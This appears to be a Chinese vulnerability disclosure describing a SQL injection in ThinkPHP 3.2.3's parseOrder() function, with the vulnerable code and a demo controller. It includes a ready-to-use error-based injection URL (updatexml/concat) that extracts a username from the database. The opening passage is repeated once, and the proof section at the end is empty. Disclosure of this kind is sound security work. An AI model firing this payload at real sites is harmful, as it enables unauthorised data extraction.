### 简要描述: ThinkPHP框架本身缺陷导致SQL注入漏洞,基本影响所有使用ThinkPHP开发的应用,包括thinksns、onethink等 ### 详细说明: 关键代码在`\ThinkPHP\Library\Think\Db\Driver.class.php`,683行。 ``` /** * order分析 * @access protected * @param mixed $order * @return string */ protected function parseOrder($order) { if(is_array($order)) { $array = array(); foreach ($order as $key=>$val){ if(is_numeric($key)) { $array[] = $this->parseKey($val); }else{ $array[] = $this->parseKey($key).' '.$val; } } $order = implode(',',$array); } return !empty($order)? ' ORDER BY '.$order:''; } ``` 当我们提交的$order不为数组时,那么直接返回 `' ORDER BY '.$order:'`。 当我们提交的$order为数组,程序也仅仅是对$key进行了处理。没有处理$val。 此漏洞与phith0n提交的漏洞有相似性。http://**.**.**.**/bugs/wooyun-2010-086737 在此附上一个常见的demo ``` <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $data = array(); $data['username'] = array('eq','admin'); $order = I('get.order'); $m = M('user')->where($data)->order($order)->find(); echo M('user')->getLastSql();...
### 简要描述: ThinkPHP框架本身缺陷导致SQL注入漏洞,基本影响所有使用ThinkPHP开发的应用,包括thinksns、onethink等 ### 详细说明: 关键代码在`\ThinkPHP\Library\Think\Db\Driver.class.php`,683行。 ``` /** * order分析 * @access protected * @param mixed $order * @return string */ protected function parseOrder($order) { if(is_array($order)) { $array = array(); foreach ($order as $key=>$val){ if(is_numeric($key)) { $array[] = $this->parseKey($val); }else{ $array[] = $this->parseKey($key).' '.$val; } } $order = implode(',',$array); } return !empty($order)? ' ORDER BY '.$order:''; } ``` 当我们提交的$order不为数组时,那么直接返回 `' ORDER BY '.$order:'`。 当我们提交的$order为数组,程序也仅仅是对$key进行了处理。没有处理$val。 此漏洞与phith0n提交的漏洞有相似性。http://**.**.**.**/bugs/wooyun-2010-086737 在此附上一个常见的demo ``` <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index(){ $data = array(); $data['username'] = array('eq','admin'); $order = I('get.order'); $m = M('user')->where($data)->order($order)->find(); echo M('user')->getLastSql(); } } ``` 通过I函数获取内容以后,直接进入SQL。 ``` **.**.**.**/official/thinkphp_3.2.3_full/?order=updatexml%281,concat%280x3a,%28select%20username%20from%20user%20limit%201%29%29,1%29 ``` [<img src="https://images.seebug.org/upload/201510/3016141709a9b502c87cbb9e56a4c05e258e62c8.jpg" alt="order 注入.JPG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/3016141709a9b502c87cbb9e56a4c05e258e62c8.jpg) 之前看了一下ThinkPHP的审核情况,某些问题被官方认为是开发不规范导致的。我个人看法是在安全性的前提下,尽量提高程序的灵活性。毕竟大家使用ThinkPHP框架的目的是为了敏捷开发,同时还能减少安全性等问题带来的顾虑。之前听前辈们说过一句话,“一切输入都是有害的”。以此为标准,那么即使向框架内的基础函数输入恶意数据,程序也应该保证能进行识别和过滤。很多框架实际上也是这么做的。 ### 漏洞证明: 